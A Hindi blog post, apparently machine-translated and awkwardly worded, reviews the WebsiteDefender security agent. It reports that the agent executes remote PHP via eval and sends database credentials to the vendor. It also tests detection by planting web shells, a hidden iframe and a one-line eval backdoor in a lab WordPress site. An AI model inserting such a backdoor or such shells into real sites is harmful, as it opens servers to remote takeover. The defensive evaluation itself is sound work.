कैसे WebsiteDefender काम करता है

कुछ हफ़्ते पहले, मैंने Wordpress wp सुरक्षा स्कैन के लिए प्लगइन में देखा कि साइटों की सुरक्षा के लिए एक और websitedefender सेवा का विज्ञापन। साइट पर, मानक विपणन भूसी के अलावा, मुझे वास्तव में कुछ भी उपयोगी नहीं मिला, लेकिन मुझे इस सेवा के साथ काम करने के क्रांतिकारी तरीके के बारे में कुछ शब्दों द्वारा समझा गया था, जो मौजूदा लोगों से अलग है। यह सेवा अभी भी कैसे काम करती है, इस बारे में Google ने कुछ भी उपयोगी नहीं दिया।

ऐतिहासिक रूप से, अधिकांश लोग केवल बाहरी हमलों से सुरक्षा को पर्याप्त मानते हैं - SQL, XSS इंजेक्शन, LFI \ RFI, CSRF, आदि, जो वेब एप्लिकेशन फ़ाइलों पर हमलों के बारे में भूल जाते हैं। वही WAFs, जैसे mod_security, phpids एक प्रमुख उदाहरण हैं।

यह मुझे बहुत उचित नहीं लगता है, इसलिए मैं वेबसाइट डिफेंडर सेवा की संभावनाओं पर विचार करना चाहता था, जो विवरण के अनुसार, वेब एप्लिकेशन फ़ाइलों को संशोधनों से बचाने में सक्षम होना चाहिए।

यह एक निश्चित एजेंट को डाउनलोड करने का प्रस्ताव है - php-file, जिसमें एन्क्रिप्शन और ... डिज़ाइन के लिए फ़ंक्शन का एक पूरा सेट है

$success = @eval('?>'.$request->params); 

प्रश्न, यह php कोड क्या करता है, यह डाउनलोड होने से पहले भी उत्पन्न हुआ था, और एक त्वरित नज़र के बाद और इस तरह के एक दिलचस्प शस्त्रागार को खोजने पर और भी अधिक सवाल उठते हैं। हालांकि कंपनी काफी प्रसिद्ध मालूम होती है - एक्यूनेटिक्स, शायद ही कोई अपनी वेबसाइट पर एक बैग में बिल्ली रखना चाहता है।

जानकारी प्रदान करने के लिए अनुरोध का समर्थन प्रतिक्रिया, उनका कोड क्या करता है, और बिल्ली के तहत सेवा के उनके शोध के परिणाम।

WebsiteDefender अपने काम का विवरण प्रदान नहीं करता है।

पत्राचार से मैं केवल सबसे महत्वपूर्ण चीज दूंगा।

मैं: मुझे बस पता है कि आपका php कोड क्या है। सामान्य जानकारी जैसे कि 'वेबसाइट की रक्षा ...' लेकिन अधिक तकनीकी विवरण नहीं। यह किस जानकारी को एकत्रित करता है और आपके सर्वर को भेजता है, आदि। क्योंकि अब यह मेरे लिए ब्लैकबॉक्स है।

समर्थन उत्तर:
हम विशिष्ट विवरण प्रदान नहीं करते हैं।

हालाँकि, दूरस्थ रूप से हम उदाहरण के लिए इस बात का निर्धारण नहीं कर सकते हैं कि क्या एक वर्डप्रेस उपयोगकर्ता खाता पासवर्ड कमजोर है, या यदि कोई प्लगइन असुरक्षित है या नहीं। इस प्रकार, WSD एजेंट का उपयोग दूरस्थ वेबसाइट से ऐसी जानकारी प्राप्त करने और विश्लेषण के लिए हमारे सर्वर पर भेजने के लिए किया जाता है। हम मूल रूप से कोड और डेटाबेस में सीधे देखते हैं और हम विश्लेषण करते हैं कि क्या है।

यह बहुत दिलचस्प निकला: वे वेबसाइटों की सुरक्षा के लिए एक सेवा प्रदान करते हैं, लेकिन वे इस बात का खुलासा नहीं करते हैं कि उनके एजेंट क्या करते हैं। अंतिम उत्तर से यह लगभग स्पष्ट हो गया कि क्या एकत्र किया और भेजा जा रहा था।

क्या php एजेंट WebsiteDefender प्राप्त करता है और भेजता है

कुछ दिनों के बाद, मैंने अपने होम लैपटॉप पर डॉन्डर्स क्लाइंट को स्थापित किया, एक टेस्ट होस्ट को पंजीकृत किया, एपाचे, पीएचपी, mysql और वर्डप्रेस को स्थापित किया, उनके एजेंट के इनपुट और आउटपुट डेटा लॉग में रीसेट जोड़ा, और लॉग को समय-समय पर जांचना शुरू किया।

जो लोग चाहते हैं कि एजेंट कोड को खुद देख सकें, इसमें सब कुछ सरल है। सबसे महत्वपूर्ण बात यह है कि निष्पादन के लिए सभी प्रकार के चेक के बाद , एक बाहरी php कोड भेजा जाता है, जिसे WebsiteDefender रोबोट द्वारा भेजा जाता है । यह एक प्रकार का खोल निकलता है, जिसका उपयोग हैकिंग के लिए नहीं किया जाता है, बल्कि साइट की सुरक्षा के लिए किया जाता है।

निम्नलिखित डेटा एकत्र और भेजा गया है:

1. Php संस्करण, $ _SERVER सरणी
2. निर्देशिका और फ़ाइलों की संरचना निर्दिष्ट एक्सटेंशन (php, html, js, htaccess, ini, log, आदि) की फ़ाइलों की एक सूची है, और फिर उनके sha1 हैश, परिवर्तन की तारीख, अभिगम अधिकार
3. डेटाबेस कनेक्शन पैरामीटर - नाम, होस्ट, लॉगिन और पासवर्ड
4. कुछ छोटे तार और उनके md5 हैश - जाहिर है, यह सत्यापित करने के लिए कि एजेंट काम कर रहा है।

मान लें कि आप भ्रमित नहीं हैं कि आपकी साइट की सुरक्षा के लिए एक वादे के बदले सेवा आपको एक एजेंट स्थापित करने की आवश्यकता है जिसके माध्यम से भविष्य में किसी भी कोड को निष्पादित किया जा सकता है।

मैंने यह जांचने का निर्णय लिया कि साइट हैक के निशान कितनी जल्दी मिलेंगे:

1. ओआरबी पैक और स्रोत द्वारा एक पुराना वेब शेल, एंटीकाट से कुछ प्राचीन शेल साइट के विभिन्न निर्देशिकाओं में बिखरे हुए हैं
2. Wordpress थीम पाद लेख में एक अदृश्य iframe डाला गया
3. फिक्स्ड इंडेक्स। जोड़कर
   

    if ( $_REQUEST['evil'] == 1 ) { eval( '?>'. $_GET[ 'cmd' ] ); exit(); } 

साइट की फ़ाइलों के अगले पूर्ण स्कैन के दौरान 2 दिनों के बाद सभी परिवर्तनों का पता चला, इससे पहले कि रोबोट ने शांति से md5 हैश प्राप्त किया। दिलचस्प है, व्यवस्थापक पैनल में, वेब शेल ओआरबी द्वारा एक महत्वपूर्ण खतरे के रूप में चिह्नित किया गया था और विभिन्न टेम्पलेट्स का उपयोग करके परिभाषित किया गया था:
/wp-admin/network/wso2.php, टेम्प्लेट - eval ($ _ POST ['p1]]
/ wp-admin/includes/wso2_pack.php, टेम्पलेट - <? php # वेब शेल RRb द्वारा।

और एंटीकाट से खोल को मामूली रूप से नई फाइलों के बीच सूचीबद्ध किया गया था। सबसे अधिक संभावना है, इस सेवा को घर-निर्मित गैर-वितरित पैकेज्ड गोले द्वारा महत्वपूर्ण स्थिति के साथ चिह्नित नहीं किया जाएगा, हालांकि सबसे पहले php निष्पादन योग्य आवंटित किया जाना चाहिए।

निष्कर्ष के बजाय

निश्चित रूप से, अपने विचारों में भी आप अपनी साइट की सुरक्षा के लिए अन्य लोगों की स्क्रिप्ट स्थापित नहीं करना चाहते थे। विषय केवल सूचना के उद्देश्यों के लिए है। मैं सिर्फ एक अच्छी तरह से बने उदाहरण के साथ दिखाना चाहता हूं कि आपको बाहरी सेवाओं पर आँख बंद करके भरोसा नहीं करना चाहिए - अपने वेब एप्लिकेशन को उनकी फ़ाइलों को संशोधित करने और गोले लोड करने से बचाने के लिए, यहां तक ​​कि एक साधारण स्व-लिखित फ़ाइल निरीक्षक भी पर्याप्त है, जिसे कुछ घंटों में लिखा जा सकता है, लेकिन उसने प्रतिक्रिया समय की आवश्यकता है और आप फ़ाइलों को पुनर्प्राप्त करने में सक्षम हैं। सर्वर पर विशेष उपयोगिताओं के कॉन्फ़िगरेशन का उल्लेख नहीं करना।